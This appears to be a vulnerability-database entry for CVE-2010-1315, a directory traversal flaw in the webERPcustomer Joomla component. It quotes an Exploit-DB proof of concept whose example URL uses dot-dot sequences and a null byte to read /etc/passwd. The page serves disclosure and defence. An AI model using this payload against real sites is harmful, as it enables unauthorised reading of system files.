CVE-2010-1315
Description
Directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. NOTE: some of these details are obtained from third party information.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! Component webERPcustomer - Local File Inclusion
---------------------------------------------------------------------------------
Joomla Component webERPcustomer Local File Inclusion
---------------------------------------------------------------------------------
Author : Chip D3 Bi0s
Group : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date : 31 March 2010
Critical Lvl : Moderate
Impact : Exposure of sensitive information
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : webERPcustomer
version : 1.2.1
Developer : Mo Kelly
License : GPL type : Commercial
Price : 20.00 USD
Date Added : 24 June 2009
Download : http://joomlamo.com/joomlamo/downloads/cat_view/8-extensions-integrated-with-weberp.html
Description :
webERPcustomer is a Joomla! component integrated with webERP. Upon logging in and clicking the webERPcustomer
menu selection the user/salesperson will be able to view and update webERP customer master records assigned
to them and access/update associated wiki data. webERPcustomer is an easy way to allow sales persons to update
their customer data.
The Joomla user name and webERP salesperson code must be the same and the Joomla database user must be given
rights to the webERP database.
webERP is an open source accounting package that is very popular. At Rockwall Computer we are writing modules
and components integrated with webERP so that companies can access and update data in webERP using Joomla modules
and components. This reduces training time and the user interface is more friendly and powerful.
For instance, this accounts receivable customer and branch record update is much easier to access than through webERP.
Clicking the note/pencil opens the webERP wiki notes for that customer. This method of access to a sales persons
including the wiki integration makes it very powerful!
--------------
file error : components/com_weberpcustomer/weberpcustomer.php
how to exploit
http://127.0.0.1/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00
------------------------
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| joomlamo | com_weberpcustomer | 1.2.1 | |
| joomla | joomla\! | | |
References
- http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
- http://secunia.com/advisories/39209
- http://www.exploit-db.com/exploits/11999
- https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
- http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
- http://secunia.com/advisories/39209
- http://www.exploit-db.com/exploits/11999
- https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.